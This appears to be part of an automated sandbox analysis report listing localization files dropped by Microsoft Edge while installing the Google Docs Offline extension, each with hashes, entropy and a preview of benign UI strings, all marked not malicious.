SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir5508_992033814\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
